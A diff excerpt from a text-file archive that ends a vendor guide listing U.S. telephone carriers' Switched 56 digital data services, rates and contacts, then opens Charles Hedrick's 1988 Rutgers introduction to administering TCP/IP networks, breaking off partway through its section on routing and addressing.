possible. INC has written translation guides for + all the telephone company digital switches. + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + THE GUIDE TO THE GUIDE + **************************** + + *** This Guide, prepared by the people at Integrated Network + Corporation (INC), is the most up-to-date, most + comprehensive listing of Switched 56 Digital Services. We + give you an exhaustive listing of installation costs, + monthly charges and usage fees.. We also give you the names, + telephone numbers and fax numbers of the telephone company + product managers to contact. + + *** SERVICE + The name each telephone company gives to their Switched 56 + service. Each company uses a different name, and it helps + to use their name when making service inquiries. + + *** TECHNOLOGY + Defines the specific circuits provided, and specifies 2-wire + or 4-wire connection. + + *** PRODUCT MANAGER + Your first contact at the telephone company should be your + sales representative. However, if you need answers to + specific, highly technical questions about installation and + availability, you can contact the Product Manager. This is + the telephone company's person in charge of the service. + + *** AVAILABILITY + Specifies the geographic areas where Switched 56 is + provided. Service is being brought to more and more new + areas Check with your phone company's representative for + the most up-to-date information. + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + THE GUIDE TO THE GUIDE continued + **************************** + + *** RATES + Like a voice telephone line, Switched 56 typically involves + a one-time installation cost, a monthly fee, and usage fees + from Local Exchange and Inter-Exchange carriers. + + * For local or intra-LATA calls, you will be charged a usage + fee by your Local Exchange Company. A LATA typically covers + a much wider geographical area than the city for which it is + named. The Local Exchange rates in this guide apply to + local calls ONLY. + + * For long distance switched calls, you will be charged two + fees. Typically both charges are included in the monthly + bill from your local telephone company. Your Local + Exchange Company will charge you for access to the Long + Distance Company. This typically runs about $ 0.05 per + minute. The Long Distance Company in turn will charge you + for transport between long distance switching centers. + These rates are quoted in the Long Distance Company pages + and DO NOT include the cost of local access. + + * Access to Long Distance Companies is provided through + either dedicated digital or switched digital services + provided by the Local Company. Most users will find + switched digital service provided by their Local Exchange + Company to be the most cost effective access method. + + * Very high volume users may find that it makes sense to + bypass the Local Exchange Company by using dedicated, rather + than switched access facilities. + + * The cross-over point between switched and dedicated line + can be calculated as follows. Find out the monthly cost of a + dedicated line. Remember that $0.05 of every long distance + call using switched access goes to the Local Exchange + Company. Divide the dedicated line cost by $0.05 to get the + break-even point in minutes. For example, if dedicated + access costs $500 per month, then the break-even point comes + at 10,000 minutes per month (almost 167 hours). + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + THE GUIDE TO THE GUIDE continued + **************************** + + * The information in this guide is based upon tariff filings + by the Local Exchange Carriers (LECs) and the Long Distance + Carriers also referred to as Inter-Exchange Carriers (IXCs). + Tariff filings are often amended. Rates for some areas are + averages and may vary from state to state. + + * We recommend you contact your Local Exchange and/or Inter- + Exchange Carriers to discuss current rates for Switched 56 + Kbps data calls that apply to your specific situation. + Also, review any discount or special program for which you + may be eligible. + + *** INC PRODUCTS + Specific INC CSU/DSUs that are appropriate for the telephone + company's Switched 56 service. + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + AMERITECH + **************************** + + SERVICE Public Switched Digital Service (PSDS) + + TECHNOLOGY Datapath (2-wire) + 4-wire service pending + + PRODUCT MANAGER Dave Koehler + 317/265-4673 Fax: 317/265-3344 + + AVAILABILITY + * Illinois Bell Illinois + * Indiana Bell Indiana + * Michigan Bell Michigan + * Ohio Bell Ohio + * Wisconsin Bell Wisconsin + + RATES + * Installation $700 - 800 per line + (varies by state) + + * Recurring $83 per month per line + Contract terms available + + * Usage $0.03 for each minute + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + BELL ATLANTIC + **************************** + + SERVICE Switched 56 Kilobit Service + + TECHNOLOGY USDC (4-wire) + + PRODUCT MANAGER Tom Swann + 301/236-3187 Fax: 301/236-4798 + + AVAILABILITY + * Bell of Pennsylvania Altoona, Harrisburg, Philadelphia, + Pittsburgh, Scranton + * C&P of Maryland Baltimore, Suburban DC in MD, + Hagerstown + * C&P of Virginia Suburban DC in VA, Norfolk, + Richmond, Roanoke + * C&P of Washington DC Washington, D.C. + * C&P of West Virginia Charleston, Clarksburg + * Diamond State Delaware + * New Jersey Bell Camden, Newark, Pleasantville + + RATES + * Installation $725 per line + + * Recurring $150 per month per line + + * Usage $0.14 per minute (intra-LATA) + + * Interoffice Mileage $1 per mile per month + (for mileage between switched + node and local serving office) + + INC PRODUCTS + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V, and CM-2056N + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + BELLSOUTH + **************************** + + SERVICE AccuPulse + + TECHNOLOGY Datapath (2-wire) + + PRODUCT MANAGER Jerry Snead + 205/977-1743 Fax: 205/977-3416 + + AVAILABILITY + * South Central Bell Alabama, Kentucky, Louisiana, + Mississippi, Tennessee + * Southern Bell Florida, Georgia, North Carolina, + South Carolina + + RATES + * Installation $900 per line + + * Recurring $55 + + * Line Extension If local node is not an AccuPulse node, line extension is required. + $40 for the first 1/2 mile + $1.50 for each additional 1/2 mile + + * Usage $0.12 first minute + $0.10 each additional minute + Only applies to intraLATA calls + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + CENTEL + **************************** + + SERVICE Switched 56 Digital Service + + TECHNOLOGY Datapath (2-wire) + + PRODUCT MANAGER Florida - + * Randall Reddish 904/599-1707 + Nevada - + * Robert Wattenbarger 702/877-7449 + North Carolina/Virginia - + * Andrew Rhyne 704/328-0350 + + AVAILABILITY + * Florida Fort Walton, Tallahassee + + * Nevada Las Vegas + + * North Carolina Hickory + + * Virginia Charlottesville + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + CENTEL continued + **************************** + + RATES + + Florida + * Installation $50 per line + $30 service order + Premise visit may be required + * Recurring $12.60 per month per line + * Usage Same rate as voice + + Nevada + * Installation $59 per line + $25.80 service order + Premise visit may be required + * Recurring $28.33 per month per line + * Usage Same rate as voice + + North Carolina + * Rates Not established + + Virginia + * Installation $10.20 per line + $29.81 service order + Premise visit may be required + * Recurring $6 per month per line + * Usage $0.02/min from 8AM-5PM + $0.01/min at other times + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + GTE-CONTEL + **************************** + + SERVICE Switched Data Service + + TECHNOLOGY Datapath (2-wire) + GTE Proprietary Circuit + Switched Data (2-wire) + + CONTACT 1-800-4-GTE-SW56 + + AVAILABILITY + *Filed tariffs : + California, Florida, Illinois, Indiana, Kentucky, Michigan, + Missouri, North Carolina, Ohio, Oregon, Pennsylvania, South + Carolina, Texas, Virginia, Washington, Wisconsin + + *Pending tariffs: + Alabama, Arizona, Georgia, Hawaii, Nebraska, Oklahoma + + RATES + * Installation $50 per line + $75 service order charge + + * Recurring $50 per month per line + + * Usage $0.01 to $0.06 per minute + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + NYNEX - New England Telephone + **************************** + + SERVICE Switchway + + TECHNOLOGY USDC (4-wire) + Datapath (2-wire) + + PRODUCT MANAGER Anne-Marie Grady + 617/743-5153 Fax: 617/743-8531 + + AVAILABILITY + * Maine Augusta, Bangor, Lewiston, Portland, + Presque Isle, Waterville + + RATES + * Installation $600 + * Recurring $80 per month per line + * Usage Intra-office + $0.035 first minute + $0.025 each additional minute + Inter-office + $0.55 first minute + $0.34 each additional minute + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + NYNEX - New England Telephone continued + **************************** + + AVAILABILITY + + Massachusetts Boston, Brockton, Brookline, + Burlington, Cambridge, Dedham, Dorchester, + Fall River, Framingham, Hyannis, Lowell, + Lynn, Malden, Maynard, Quincy, Waltham + + RATES + * Installation $290.98 per line + $41.54 service order charge + $61.48 CO line charge + + * Recurring $37.83 per month per line + + * Usage Intra-office + $0.0603 first minute + $0.016 each additional minute + Inter-office + $0.115 first minute + $0.105 each additional minute + $0.055 evening rate + $0.036 night and weekend rate + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + NYNEX-New York Telephone + **************************** + + SERVICE Switchway + + TECHNOLOGY USDC (4-wire) + Datapath (2-wire) + + PRODUCT MANAGER Meg Walsh + 212/395-5272 Fax: 212/395-2383 + + AVAILABILITY + + New York State + + Albany, Babylon, Bayshore, Bedford, Binghamton,Buffalo, Deer Park, + Dobbs Ferry, East Northport, Farmingdale, Floral Park, Freeport, + Garden City, Groton, Harrison, Hempstead, Hicksville, Highland + Falls, Huntington, Katonah, Long Beach, Lynbrook, Massapequa, + Mineola, Mount Vernon, New City, New York Metro Area, Nyack, + Ossining, Peekskill, Pleasantville, Port Jefferson, Roslyn, + Sayville, Scarsdale, Smithtown, South Salem, Syracuse, Tarrytown, + West Hampton, Westbury, White Plains + + RATES + * Installation $418.19 for first line + $247.52 each additional line + $56 service order charge + $71.75 CO line charge + + * Recurring $82.35 per month per line + + * Usage POTS + $0.01 per minute + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + PACIFIC TELESIS + **************************** + + SERVICE CENPATH (Centrex-based) + + TECHNOLOGY Datapath (2-wire) + + PRODUCT MANAGER Ella Spradley + 510/867-5006 Fax: 510/866-1709 + + AVAILABILITY + California + + RATES + * Installation $190 per line + * Recurring $39.65 per line + * Usage Like voice + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + PACIFIC TELESIS continued + **************************** + + SERVICE SDS 56 (Single Line) + + TECHNOLOGY 2-wire or 4-wire + + PRODUCT MANAGER Ella Spradley + 510/867-5006 Fax: 510/866-1709 + + AVAILABILITY + California + + RATES + * Installation $500 per line + + * Recurring $45 per line + + * Usage Like voice + + * Special Program Installation charge waived if service + is continued for 2 years + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + SOUTHERN NEW ENGLAND TELEPHONE + **************************** + + SERVICE Switched Digital Data Service (SDDS) + + TECHNOLOGY USDC (4-wire) + + PRODUCT MANAGER William J. O'Donnell + 203/771-4163 Fax: 203/771-7591 + + AVAILABILITY + Connecticut + + RATES + * Installation $600 per line + + * Recurring $80 per month per line + $4/mile monthly line charge for + remote access circuit if required + + * Usage $0.20 first minute + $0.16 each additional minute + Evening and night discounts apply + + INC PRODUCTS + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + SOUTHWESTERN BELL + **************************** + + SERVICE Microlinkr I + + TECHNOLOGY Datapath (2-wire) + 4-wire available as + special assembly + + PRODUCT MANAGER Neil Moldafsky + 314/235-7182 Fax: 314/235-9214 + + AVAILABILITY + * Arkansas Blytheville, Ft. Smith, Greers Ferry, + Heber Springs, Little Rock, Lonoke, + Paragould,West Memphis + + * Kansas Dodge City, Emporia, Hutchinson, + Kansas City, Leavenworth, Mission, + Parsons, Pittsburgh, Topeka, Wichita + + * Missouri Chillicothe, Hannibal, Kansas City, + Kirksville, Sikeston, Springfield, + St. Joseph, St. Louis + + * Oklahoma Bartlesville, Oklahoma City, + Sallisaw, Tulsa + + * Texas Abilene, Amarillo, Austin, Beaumont, + Corpus Christi, Dallas, Edinburg, + El Paso, Ft. Worth, Houston, + Longview, Lubbock, Midland, + Port Arthur, San Antonio, Tyler, Waco + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + SOUTHWESTERN BELL continued + **************************** + + RATES + + Arkansas + * Installation $480 per line + * Recurring $88.75 per month per line + * Usage $0.12 first minute + $0.10 each additional minute + Kansas + * Installation $560 per line + * Recurring $100.25 per month per line + * Usage $0.12 first minute + $0.10 each additional minute + Missouri + * Installation $645 per line + * Recurring $92.80 per month per line + * Usage $0.12 first minute + $0.10 each additional minute + Oklahoma + * Installation $570 per line + * Recurring $69.50 per month per line + * Usage $0.12 first minute + $0.10 each additional minute + Texas + * Installation $700 per line + * Recurring $105.25 per month per line + * Usage $0.12 first minute + $0.10 each additional minute + INC PRODUCTS + 2-Wire Circuits CM-1056DP + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + SPRINT LTD + **************************** + + SERVICE SwitchLink Plus + + TECHNOLOGY Datapath (2-wire) + Datapath Extension (4-wire) + + PRODUCT MANAGER Jay Shelton + 913/624-3572 Fax: 913/624-2478 + + AVAILABILITY + * Filed tariffs: + Florida, Missouri, Nevada, New Jersey, North Carolina, + Oregon, South Carolina, Tennessee, Virginia, Washington + + * Pending tariffs (available on ICB): + Indiana, Kansas, Minnesota, Nebraska, Ohio, Pennsylvania, + Texas + + RATES + * Installation $20-$150 per line + plus a nominal service charge + + * Recurring $30-$83 per month + + * Usage Flat rates vary. + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + + US WEST + **************************** + + SERVICE SwitchNet 56 + + TECHNOLOGY USDC (4-wire) + + PRODUCT MANAGER Micki Jacoby + 303/965-7023 Fax: 303/965-9281 + + AVAILABILITY + + Central Region + * Arizona Phoenix, Tucson + * Colorado Colorado Springs, Denver + * Idaho Boise + * Montana + * New Mexico Albuquerque + * Utah Salt Lake City + * Wyoming + + Eastern Region + * Iowa Des Moines + * Minnesota Minneapolis, St. Paul + * Nebraska Omaha + * South Dakota Aberdeen + + Western Region + * Oregon Portland + * Washington Seattle, Spokane + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Local Exchange Carrier Services + + US WEST continued + **************************** + + RATES + * Installation $200-$495 per line + + * Recurring $42-89 per month + Time contracts available + in certain states + + * Usage $0.02-$0.12 per minute + + Customers outside the Central Office from which SwitchNet 56 + is offered may obtain the capacity by Remote Network Access + arrangement. + + INC PRODUCTS + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Long Distance Carrier Services + + AT&T + **************************** + + SERVICE Software Defined Data Network (SDDN) + + TECHNOLOGY Long Distance Service + + PRODUCT MANAGER M. Mackenzie + 908/234-7392 Fax: 908/234-8968 + + AVAILABILITY + * Switched 56 Kbps Service _ 470 POPs (access areas) + * Switched 384 Kbps Service _ 254 POPs (access areas) + * Can also be accessed via local dedicated DDS and + T1.5 lines plus local common carrier access + lines throughout more than 1000 cities. + + RATES + * Installation $100 per dynamic access arrangement + $0.00 for static access arrangement + + * Recurring $0.00 (must be an SDDN customer) + + * Usage For Switched 56/64 service + $0.0159 - $0.1466 first 18 seconds + $0.0053 - $0.0222 each add'l 6 seconds + + For Switched 384 service + $0.0717 - $0.6603 first 18 seconds + $0.0239 - $0.1001 each add'l 6 seconds + + Discounts of up to 35% may apply + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + 384 ISDN Circuits CM-384/PRI + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Long Distance Carrier Services + + AT&T continued + **************************** + + SERVICE ACCUNET Switched Digital Services + (SDS) + + TECHNOLOGY Long Distance Service + + PRODUCT MANAGER M. Mackenzie + 908/234-7392 Fax: 908/234-8968 + + AVAILABILITY + * Switched 56 Kbps Service _ 470 POPs (access areas) + * Switched 64 Kbps Service _ 389 POPs (access areas) + * Switched 384 Kbps Service - 254 POPs (access areas) + * Can be accessed via local common carrier access lines + throughout more than 1000 cities. + + RATES + * Installation $0.00 per line + (pass through local charges) + + * Recurring Minimum usage required: + DDS Access = $95 + T1.5 Access = $75 + Switched = $0 + + * Usage $0.091 to $0.222 + varies with usage, distance, + and time of day + + Offers service to 20 international countries + + INC PRODUCTS + 2-Wire Circuits CM-1056DP + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + 384 ISDN Circuits CM-384/PRI + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Long Distance Carrier Services + + MCI + **************************** + + SERVICE VNET/VISION 56 + + TECHNOLOGY Long Distance Service + + PRODUCT MANAGER Madhu Zierath + 214/701-6752 Fax: 214/701-1218 + + AVAILABILITY + Switched 56 Kbps Service over 300 POPs (access areas) + Accessed via local T-1, dedicated DDS, or + switched digital access + + RATES + * Installation Based on applicable local charges + + * Recurring Based on applicable local charges + + * Usage $0.0208-$0.0511 first 18 seconds + $0.0069-$0.0170 each add'l 6 seconds + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Long Distance Carrier Services + + MCI continued + **************************** + + SERVICE Prism I Switched 56 Kbps Service + + TECHNOLOGY Long Distance Service + + PRODUCT MANAGER Rosalyn Hill + 404/668-6772 Fax: 404/668-5261 + + AVAILABILITY + Switched 56 Kbps Service over 300 POPs (access areas) + Accessed via local T-1, dedicated DDS, or switched digital + access + + RATES + * Installation Based on applicable local charges + + * Recurring Based on applicable local charges + + * Usage Same as VNET/VISION 56 usage rates + + INC PRODUCTS + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Long Distance Carrier Services + + SPRINT + **************************** + + SERVICE VPN 56 + + TECHNOLOGY Long Distance Service + + PRODUCT MANAGER Bill Lerand + 913/624-6072 Fax: 913/624-4003 + + AVAILABILITY + Nationwide via T-1 access + + RATES + * Installation $0.00 per line + + * Recurring $0.00 + + * Usage $0.06 to $0.127 per minute + (before discounts) + + INC PRODUCTS + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + Long Distance Carrier Services + + SPRINT continued + **************************** + + SERVICE Dial 1 Digital + + TECHNOLOGY Long Distance Service + + PRODUCT MANAGER John Moshier + 913/624-4348 Fax: 913/624-4003 + + AVAILABILITY + Dial 1 Digital is accessed through local Switched Digital + Service. + Availability is dependent on local Switched Digital Service + availability in a given area. + + RATES + * Installation $0.00 + + * Recurring $0.00 + + * Usage Dial 1 Voice + + INC PRODUCTS + 4-Wire Circuits CM-1056, CM-1056S, CM-1056E, + CM-1156, CM-2056V and CM-2056N + THE INSIDE GUIDE TO SWITCHED 56 DIGITAL DATA SERVICES + INTEGRATED NETWORK CORPORATION + + TARIFF CHANGES + **************************** + + Because rates, service areas, and personnel constantly + change, Integrated Network Corporation updates this guide on + a regular basis. + + If you have corrected information, we would greatly + appreciate your sending it to us. + + Please send updates to: + Product Manager + Switched Digital Access Products + INTEGRATED NETWORK CORPORATION + 757 Route 202/206 + Bridgewater, NJ 08807 + Info: 1-800-241-EASY + Tel: 908/218-1600 + Fax: 908/218-0804 + Internet: Wandan @ integnet.com + + For more information, see November 1993 issue of + Byte Magazine, page 57, "Get Your Kicks from + Switched 56". + diff --git a/textfiles.com/internet/tcp-ip-a.txt b/textfiles.com/internet/tcp-ip-a.txt new file mode 100644 index 00000000..cc91e669 --- /dev/null +++ b/textfiles.com/internet/tcp-ip-a.txt @@ -0,0 +1,3471 @@ + + + + + + + + + + Introduction + to + Administration + of an + Internet-based + Local Network + + + + C R + + C S + Computer Science Facilities Group + C I + + L S + + + RUTGERS + The State University of New Jersey + Center for Computers and Information Services + Laboratory for Computer Science Research + + + 3 October 1988 + +This is an introduction for people who intend to set up or administer +a network based on the Internet networking protocols (TCP/IP). + +Copyright (C) 1988, Charles L. Hedrick. Anyone may reproduce this +document, in whole or in part, provided that: (1) any copy or +republication of the entire document must show Rutgers University as +the source, and must include this notice; and (2) any other use of +this material must reference this manual and Rutgers University, and +the fact that the material is copyright by Charles Hedrick and is used +by permission. + + + +Unix is a trademark of AT&T Technologies, Inc. + + + + Table of Contents + + + 1. The problem 1 + 1.1 Some comments about terminology 2 + 2. Routing and Addressing 2 + 3. Choosing an addressing structure 5 + 3.1 Should you subdivide your address space? 6 + 3.2 Subnets vs. multiple network numbers 6 + 3.3 How to allocate subnet or network numbers 8 + 3.4 Dealing with multiple "virtual" subnets on one network 9 + 3.4.1 Dealing with Multiple Subnets by Turning off 10 + Subnetting + 3.4.2 Multiple Subnets: Implications for Broadcasting 11 + 3.5 Choosing an address class 11 + 3.6 Dialup IP and Micro gateways: Dynamically assigned 12 + addresses + 3.6.1 Dialup IP 12 + 3.6.2 Micro gateways 14 + 4. Network-wide Services, Naming 15 + 5. Setting up routing for an individual computer 19 + 5.1 How datagrams are routed 21 + 5.2 Fixed routes 23 + 5.3 Routing redirects 24 + 5.4 Other ways for hosts to find routes 26 + 5.4.1 Spying on Routing 26 + 5.4.2 Proxy ARP 27 + 5.4.3 Moving to New Routes After Failures 32 + 6. Bridges and Gateways 35 + 6.1 Alternative Designs 36 + 6.1.1 A mesh of point to point lines 36 + 6.1.2 Circuit switching technology 37 + 6.1.3 Single-level networks 37 + 6.1.4 Mixed designs 38 + 6.2 An introduction to alternative switching technologies 39 + 6.2.1 Repeaters 40 + 6.2.2 Bridges and gateways 41 + 6.2.3 More about bridges 43 + 6.2.4 More about gateways 44 + 6.3 Comparing the switching technologies 45 + 6.3.1 Isolation 45 + 6.3.2 Performance 46 + 6.3.3 Routing 47 + 6.3.4 Network management 49 + 6.3.5 A final evaluation 52 + 7. Configuring Gateways 52 + 7.1 Configuring routing for gateways 55 + + + + + + + + + i + + + +This document is intended to help people who are planning to set up a +new network based on the Internet protocols, or to administer an +existing one. It assumes a basic familiarity with the TCP/IP +protocols, particularly the structure of Internet addresses. A +companion paper, "Introduction to the Internet Protocols", may provide +a convenient introduction. This document does not attempt to replace +technical documentation for your specific TCP/IP implementation. +Rather, it attempts to give overall background that is not specific to +any particular implementation. It is directed specifically at +networks of "medium" complexity. That is, it is probably appropriate +for a network involving several dozen buildings. Those planning to +manage larger networks will need more preparation than you can get by +reading this document. + +In a number of cases, commands and output from Berkeley Unix are +shown. Most computer systems have commands that are similar in +function to these. It seemed more useful to give some actual examples +that to limit myself to general talk, even if the actual output you +see is slightly different. + + + +1. The problem + + +This document will emphasize primarily "logical" network architecture. +There are many documents and articles in the trade press that discuss +actual network media, such as Ethernet, Token Ring, etc. What is +generally not made clear in these articles is that the choice of +network media is generally not all that critical for the overall +design of a network. What can be done by the network is generally +determined more by the network protocols supported, and the quality of +the implementations. In practice, media are normally chosen based on +purely pragmatic grounds: what media are supported by the particular +types of computer that you have to connect, the distance you have to +go, and the logistics of installing various kinds of cable. Generally +this means that Ethernet is used for medium-scale systems, Ethernet or +a network based on twisted-pair wiring for micro networks, and +specialized high-speed networks (typically token ring) for campus-wide +backbones, and for local networks involving super-computer and other +very high-performance applications. + +Thus this document assumes that you have chosen and installed +individual networks such as Ethernet or token ring, and your vendor +has helped you connect your computers to these network. You are now +faced with the interrelated problems of + + - configuring the software on your computers + + - finding a way to connect individual Ethernets, token rings, etc., + to form a single coherent network + + - connecting your networks to the outside world + +My primary thesis in this document is that these decisions require a + 1 + + + +bit of advance thought. In fact, most networks need an +"architecture". This consists of a way of assigning addresses, a way +of doing routing, and various choices about how hosts interact with +the network. These decisions need to be made for the entire network, +preferably when it is first being installed. + + + +1.1 Some comments about terminology + + +I am going to use the term "IP" throughout this document to refer to +networks designed to carry TCP/IP. IP is the network-level protocol +from the Internet (TCP/IP) family of protocols. Thus it is common +practice to use the term "IP" when referring to addresses, routing, +and other network-layer items. In fact the distinction is not always +very clear. So in practice the terms Internet, TCP/IP, and IP may +appear to be almost interchangeable. + +The terms "packet" and "datagram" are also almost interchangeable. +Ideally, "packet" is used for the lowest-level physical unit, whereas +"datagram" refers to a unit of data at the level of IP. However these +are identical for most media, so people have nearly stopped making the +distinction. I have tried to use the terms correctly, even though +these days it may sound a bit pedantic. The term "packet" seems to be +winning out in common speech. For example, gateway speeds are +generally given in "packets per second." I have used the more +technically accurate "datagrams per second," since it is really +datagrams that are being counted. + +I use the term "gateway" where some other authors use "router." +"Gateway" is the original Internet term. Unfortunately, the ISO +community has begun using the same word with a rather different +meaning. People have started using "router" because it doesn't have +this ambiguity. I am continuing to use "gateway" because, like the +companion Introduction to the Internet Protocols, this document is +intended to help you make sense of the Internet specifications. Those +specifications use "gateway." + + + +2. Routing and Addressing + + +Many of the decisions that you need to make in setting up an IP +network depend upon routing, so it will be best to give a bit of +background on that topic now. I will return to routing in a later +section when discussing gateways and bridges. In general, IP +datagrams pass through many networks as they are going between the +source and destination. Here's a typical example. (Addresses used in +the examples are taken from Rutgers University.) + + + + + 2 + + + + network 1 network 2 network 3 + 128.6.4 128.6.21 128.121 + ============================ ========== ================ + | | | | | | | + ___|______ _____|____ __|____|__ __|____|____ ___|________ + 128.6.4.2 128.6.4.3 128.6.4.1 128.6.21.1 128.121.50.2 + 128.6.21.2 128.121.50.1 + __________ __________ __________ ____________ ____________ + computer A computer B gateway R gateway S computer C + + +This diagram shows three normal computer systems, two gateways, and +three networks. The networks might be Ethernets, token rings, or any +other sort. Network 2 could even be a single point to point line +connecting gateways R and S. + +Note that computer A can send datagrams to computer B directly, using +network 1. However it can't reach computer C directly, since they +aren't on the same network. There are several ways to connect +separate networks. This diagram assumes that gateways are used. (In a +later section, we'll look at alternatives.) In this case, datagrams +going between A and C must be sent through gateway R, network 2, and +gateway S. Every computer that uses TCP/IP needs appropriate +information and algorithms to allow it to know when datagrams must be +sent through a gateway, and to choose an appropriate gateway. + +Routing is very closely tied to the choice of addresses. Note that +the address of each computer begins with the number of the network +that it's attached to. Thus 128.6.4.2 and 128.6.4.3 are both on +network 128.6.4. Next, notice that gateways, whose job is to connect +networks, have an address on each of those networks. For example, +gateway R connects networks 128.6.4 and 128.6.21. Its connection to +network 128.6.4 has the address 128.6.4.1. Its connection to network +128.6.21 has the address 128.6.21.2. + +Because of this association between addresses and networks, routing +decisions can be based strictly on the network number of the +destination. Here's what the routing information for computer A might +look like: + + network gateway metric + + 128.6.4 none 0 + 128.6.21 128.6.4.1 1 + 128.121 128.6.4.1 2 + +From this table, computer A can tell that datagrams for computers on +network 128.6.4 can be sent directly, and datagrams for computers on +networks 128.6.21 and 128.121 need to be sent to gateway R for +forwarding. The "metric" is used by some routing algorithms as a +measure of how far away the destination is. In this case, the metric +simply indicates how many gateways the datagram has to go through. +(This is often referred to as a "hop count".) + +When computer A is ready to send a datagram, it examines the + 3 + + + +destination address. It gets the network number from the beginning of +the address, and then looks in the routing table. The table entry +indicates whether the datagram should be sent directly to the +destination or to a gateway. + +Note that a gateway is simply a computer that is connected to two +different networks, and is prepared to forward datagrams between them. +In many cases it is most efficient to use special-purpose equipment +that are designed as gateways. However it is perfectly possible to +use ordinary computers, as long as they have more than one network +interface, and their software is prepared to forward datagrams. Most +major TCP/IP implementations (even for microcomputers) are designed to +let you use your computer as a gateway. However some of this software +has limitations that can cause trouble for your network. + +Note that a gateway has several addresses -- one for each network that +it's attached to. This is a difference between IP and some other +network protocols: each interface from a computer to a network has an +address. With some other protocols, each computer has only one +address, which applies to all of its interfaces. A gateway between +networks 128.6.4 and 128.6.21 will have an address that begins with +128.6.4 (for example, 128.6.4.1). This address refers to its +connection to network 128.6.4. It will also have an address that +begins with 128.6.21 (for example, 128.6.21.2). This refers to its +connection to network 128.6.21. + +The term "network" probably makes you think of things like Ethernet, +which can have many machines attached. However it also applies to +point to point lines. In the diagram above, networks 1 and 3 could be +in different cities. Then network 2 could be a serial line, satellite 